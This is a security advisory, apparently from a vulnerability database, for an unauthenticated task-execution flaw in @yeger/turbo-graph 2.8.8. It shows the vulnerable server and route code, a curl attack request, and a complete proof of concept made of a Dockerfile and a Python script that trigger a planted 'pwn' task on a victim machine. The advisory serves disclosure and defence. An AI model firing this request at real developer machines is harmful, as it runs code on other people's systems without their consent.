@yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H상세 설명
Unauthenticated Network-Exposed Turborepo Task Execution via /api/run
Summary
@yeger/turbo-graph starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (0.0.0.0:29312 by default). The /api/run HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via spawn(). Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.
Details
Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:
Flaw 1 — Server bound to all interfaces (not loopback)
packages/turbo-graph/src/index.ts:44 calls .listen(options.port, callback) without passing a hostname argument. Although const hostname = 'localhost' is declared at line 19, it is used only for constructing the console log URL and is never passed to listen(). Node.js therefore defaults to binding on 0.0.0.0 (all IPv4 interfaces) and :: (all IPv6 interfaces), making the server reachable from the local network segment.
1// packages/turbo-graph/src/index.ts 219 const hostname = 'localhost' // used only for console URL, not for listen() 3... 444 .listen(options.port, () => { // hostname argument missing → 0.0.0.0 bind 545 const url = `http://${hostname}:${options.port}`Flaw 2 — Unauthenticated /api/run task execution endpoint
packages/turbo-graph-ui/app/api/run/route.ts:156–177 defines GET(), which reads tasks, filter, and force from the request query string and passes them directly to buildResponseFromArgs, which appends them to a Turbo CLI argument array and calls spawn(). There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.
1// packages/turbo-graph-ui/app/api/run/route.ts 2156 export function GET(req: NextRequest) { 3157 const url = new URL(req.url) 4159 const tasksParam = url.searchParams.getAll('tasks') // attacker-controlled source 5171 const filter = url.searchParams.get('filter') ?? undefined 6176 return buildResponseFromArgs(tasks, filter, req.signal, { force }) 7 8// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts 920 const args: string[] = ['run', ...tasks] // tasks inserted directly1025 args.push(`--filter=${trimmed}`)1131 args.push('--force')1234 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })13 // ^ sink: arbitrary task executionBecause spawn() is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in turbo.json of the victim's repository can be selected and run without restriction.
PoC
Environment setup (victim machine):
1mkdir /tmp/tg-poc && cd /tmp/tg-poc 2 3cat > package.json <<'JSON' 4{ 5 "private": true, 6 "scripts": { 7 "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\"" 8 }, 9 "devDependencies": {10 "@yeger/turbo-graph": "2.8.8",11 "turbo": "^2.0.0"12 }13}14JSON15 16cat > turbo.json <<'JSON'17{18 "tasks": {19 "pwn": { "cache": false }20 }21}22JSON23 24npm install25npx turbo-graph --port 29312Verify the server is bound to all interfaces (Flaw 1):
1ss -tlnp 'sport = :29312' 2# Expected: LISTEN 0 511 *:29312 (0.0.0.0, not 127.0.0.1)Attack request (from any host on the same network segment):
1# Replace <victim-ip> with the victim machine's LAN IP address. 2curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"Expected outcome:
- The server returns HTTP 200 with a
text/event-streamresponse. - An SSE
startevent is received withargs: ["run", "pwn", "--ui=stream", "--force"], confirming that the unauthenticated request was accepted. - The file
/tmp/turbo-graph-pocis created on the victim machine with contentowned, proving arbitrary task execution.
Containerized reproduction (automated):
The enclosed Dockerfile and poc.py provide a self-contained reproduction. Build and run:
1docker build -t vuln-001-poc <vuln-001-dir> 2docker run --rm vuln-001-pocThe container confirmed all three evidence points during Phase 2 dynamic testing:
ss -tlnp sport=:29312→LISTEN 0 511 *:29312(all-interface binding confirmed)GET /api/run?tasks=pwn&force=true→ HTTP 200, SSEstartevent withargs: ["run","pwn","--ui=stream","--force"](no token required)/tmp/poc-proof.txtcreated with contentPWNED:<timestamp>(arbitrary task execution confirmed)
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running turbo-graph can execute arbitrary Turborepo tasks defined in that developer's repository.
Depending on the tasks configured in the victim's turbo.json, the impact includes:
- Confidentiality (High): Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.
- Integrity (High): Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure.
- Availability (High): Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.
The attack requires no credentials, no prior access, and no interaction from the victim beyond having turbo-graph running. The default port (29312) is static and predictable, making targeted network scanning straightforward. All users who run npx turbo-graph or install @yeger/turbo-graph@2.8.8 in a shared or corporate network environment are affected.
Reproduction artifacts
Dockerfile
1# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8) 2# 3# Layout: 4# /victim/ - simulated developer workspace that runs turbo-graph 5# /victim/pwn.js - the task payload executed when the attacker fires /api/run 6# /poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn 7# 8# Build: 9# docker build -t vuln-001-poc <vuln-001-dir>10#11# Run:12# docker run --rm vuln-001-poc13 14FROM node:20-slim15 16# System tools:17# python3 - runs poc.py18# iproute2 - ss(8) for socket-binding introspection (evidence collection)19RUN apt-get update && \20 apt-get install -y --no-install-recommends python3 iproute2 && \21 rm -rf /var/lib/apt/lists/*22 23# ---------------------------------------------------------------------------24# Victim workspace: a minimal Turborepo project that a developer might run25# ---------------------------------------------------------------------------26WORKDIR /victim27 28# package.json: defines the 'pwn' task script and package dependencies.29# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).30# turbo satisfies the peerDependency and provides node_modules/.bin/turbo.31RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \32 > /victim/package.json33 34# turbo.json: declares the 'pwn' task with caching disabled so it always runs.35RUN echo '{"tasks":{"pwn":{"cache":false}}}' \36 > /victim/turbo.json37 38# pwn.js: task payload — writes a timestamped proof file and logs to stdout.39# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.40RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \41 > /victim/pwn.js42 43# Install packages from the declarations in package.json.44# --legacy-peer-deps avoids strict peer-dep resolution failures.45# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built46# .next/ directory, so no separate 'next build' step is required.47RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -548 49# ---------------------------------------------------------------------------50# Attacker PoC script51# ---------------------------------------------------------------------------52COPY poc.py /poc.py53 54# Default: execute the PoC (start server, fire unauthenticated request, verify)55CMD ["python3", "/poc.py"]poc.py
1#!/usr/bin/env python3 2""" 3PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution 4Package: @yeger/turbo-graph@2.8.8 5CWE: CWE-306 (Missing Authentication for Critical Function) 6CVSS: 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) 7 8Two independent flaws combine into the vulnerability: 9 1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a10 hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).11 2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler12 has zero authentication; attacker-supplied ?tasks= values are passed13 directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).14 15Attack scenario reproduced here:16 - Victim runs `turbo-graph` from a project with a side-effecting task.17 - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.18 - The server executes `turbo run pwn` in the victim's project directory.19 - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.20"""21 22import os23import socket24import subprocess25import sys26import time27import urllib.error28import urllib.request29 30# ---------------------------------------------------------------------------31# Configuration32# ---------------------------------------------------------------------------33PROOF_FILE = "/tmp/poc-proof.txt"34PORT = 2931235VICTIM_DIR = "/victim"36TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph")37SERVER_STARTUP_TIMEOUT = 120 # seconds; Next.js production startup can be slow38REQUEST_TIMEOUT = 90 # seconds to wait for the SSE stream to finish39 40 41# ---------------------------------------------------------------------------42# Helpers43# ---------------------------------------------------------------------------44 45def wait_for_port(host: str, port: int, timeout: int) -> bool:46 """Poll until the TCP port accepts connections or timeout expires."""47 deadline = time.time() + timeout48 while time.time() < deadline:49 try:50 with socket.create_connection((host, port), timeout=2):51 return True52 except (ConnectionRefusedError, OSError):53 time.sleep(1)54 return False55 56 57def get_socket_binding(port: int) -> str:58 """Return the raw 'ss' output for the listening socket on *port*."""59 try:60 result = subprocess.run(61 ["ss", "-tlnp", f"sport = :{port}"],62 capture_output=True,63 text=True,64 timeout=5,65 )66 return result.stdout.strip()67 except Exception as exc:68 return f"(ss unavailable: {exc})"69 70 71def binding_is_all_interfaces(ss_output: str) -> bool:72 """Return True when the socket is listening on all interfaces."""73 return any(74 marker in ss_output75 for marker in ("0.0.0.0", "*:", "[::]", ":::")76 )77 78 79def read_sse_stream(url: str, timeout: int) -> list:80 """81 Open *url* as a Server-Sent Events stream and return parsed events.82 Each event is a dict with keys 'type' and optionally 'data'.83 Stops when an 'end' event is received or *timeout* seconds elapse.84 """85 events = []86 try:87 req = urllib.request.Request(88 url,89 headers={90 "Accept": "text/event-stream",91 "Cache-Control": "no-cache",92 "Connection": "keep-alive",93 },94 )95 with urllib.request.urlopen(req, timeout=timeout) as resp:96 print(f" [HTTP] {resp.status} {resp.reason}")97 print(f" [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")98 buf = ""99 deadline = time.time() + timeout100 while time.time() < deadline:101 chunk = resp.read(4096)102 if not chunk:103 break104 buf += chunk.decode("utf-8", errors="replace")105 # Parse complete SSE blocks (separated by blank lines)106 while "\n\n" in buf:107 block, buf = buf.split("\n\n", 1)108 ev: dict = {}109 for line in block.strip().split("\n"):110 if line.startswith("event: "):111 ev["type"] = line[7:]112 elif line.startswith("data: "):113 ev["data"] = line[6:]114 # ignore SSE comments (':') and 'retry:' lines115 if ev.get("type"):116 events.append(ev)117 preview = ev.get("data", "")[:120]118 print(f" [SSE] event={ev['type']} data={preview}")119 if ev["type"] == "end":120 return events121 except urllib.error.HTTPError as exc:122 print(f" [!] HTTP error: {exc.code} {exc.reason}")123 except Exception as exc:124 print(f" [!] Stream error: {type(exc).__name__}: {exc}")125 return events126 127 128# ---------------------------------------------------------------------------129# Main PoC130# ---------------------------------------------------------------------------131 132def main() -> int:133 sep = "=" * 64134 print(sep)135 print("VULN-001 PoC — Unauthenticated Turborepo Task Execution")136 print("Package : @yeger/turbo-graph@2.8.8")137 print("CWE-306 : Missing Authentication for Critical Function")138 print(sep)139 print()140 141 # Remove stale proof file from a previous run142 if os.path.exists(PROOF_FILE):143 os.remove(PROOF_FILE)144 145 # ------------------------------------------------------------------146 # Step 1: Start turbo-graph server from the victim project directory147 # The CLI does NOT pass a hostname to .listen(), so Node.js binds to148 # 0.0.0.0 (all interfaces) — see index.ts:44.149 # ------------------------------------------------------------------150 print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...")151 server = subprocess.Popen(152 [TURBO_GRAPH_BIN, "--port", str(PORT)],153 cwd=VICTIM_DIR,154 stdout=subprocess.PIPE,155 stderr=subprocess.STDOUT,156 text=True,157 )158 159 # ------------------------------------------------------------------160 # Step 2: Wait for the port to become available161 # ------------------------------------------------------------------162 print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...")163 ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT)164 if not ready:165 server.kill()166 stdout, _ = server.communicate()167 print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.")168 print(f" stdout/stderr:\n{stdout[:2000]}")169 return 1170 print(f"[+] Server is accepting connections on port {PORT}.")171 172 # ------------------------------------------------------------------173 # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)174 # Flaw 1: .listen(port) without hostname → network-exposed.175 # ------------------------------------------------------------------176 ss_output = get_socket_binding(PORT)177 print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):")178 print(f" {ss_output}")179 if binding_is_all_interfaces(ss_output):180 print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")181 else:182 print(f"[?] Could not confirm all-interface binding; proceeding with request test.")183 184 # ------------------------------------------------------------------185 # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request186 # Flaw 2: no authentication, authorisation, CSRF check, or task187 # allowlist — see route.ts:156-177.188 # ------------------------------------------------------------------189 url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"190 print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):")191 print(f" GET {url}")192 sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT)193 194 # Allow a moment for any buffered I/O in the child process to flush195 time.sleep(3)196 197 # ------------------------------------------------------------------198 # Step 5: Evaluate exploitation results199 # ------------------------------------------------------------------200 exploited = os.path.exists(PROOF_FILE)201 proof_content = open(PROOF_FILE).read().strip() if exploited else ""202 203 start_event = next((e for e in sse_events if e.get("type") == "start"), None)204 end_event = next((e for e in sse_events if e.get("type") == "end"), None)205 log_events = [e for e in sse_events if e.get("type") in ("log", "stderr")]206 207 print()208 print(sep)209 print("EVIDENCE SUMMARY")210 print(sep)211 212 # Evidence A: socket binding213 if binding_is_all_interfaces(ss_output):214 print(f"[A] FLAW-1 — Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}")215 else:216 print(f"[A] FLAW-1 — ss output: {ss_output[:80]}")217 218 # Evidence B: unauthenticated SSE response219 if start_event:220 print(f"[B] FLAW-2 — Unauthenticated /api/run accepted; SSE start args:")221 print(f" {start_event.get('data', '')}")222 else:223 received = [e.get("type") for e in sse_events]224 print(f"[B] FLAW-2 — SSE events received: {received}")225 226 # Evidence C: turbo task exit code227 if end_event:228 print(f"[C] TURBO — turbo run exit code: {end_event.get('data', '')}")229 230 # Evidence D: proof file (arbitrary code execution)231 if exploited:232 print(f"[D] EXPLOIT — Proof file created: {PROOF_FILE}")233 print(f" Content: {proof_content}")234 else:235 print(f"[D] EXPLOIT — Proof file NOT created: {PROOF_FILE}")236 if log_events:237 print(f" Task stdout/stderr (first 5 lines):")238 for ev in log_events[:5]:239 print(f" [{ev['type']}] {ev.get('data', '')}")240 241 print(sep)242 243 # Clean up244 server.kill()245 server.wait(timeout=10)246 247 if exploited:248 print("\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.")249 return 0250 else:251 print("\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.")252 return 1253 254 255if __name__ == "__main__":256 sys.exit(main())AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.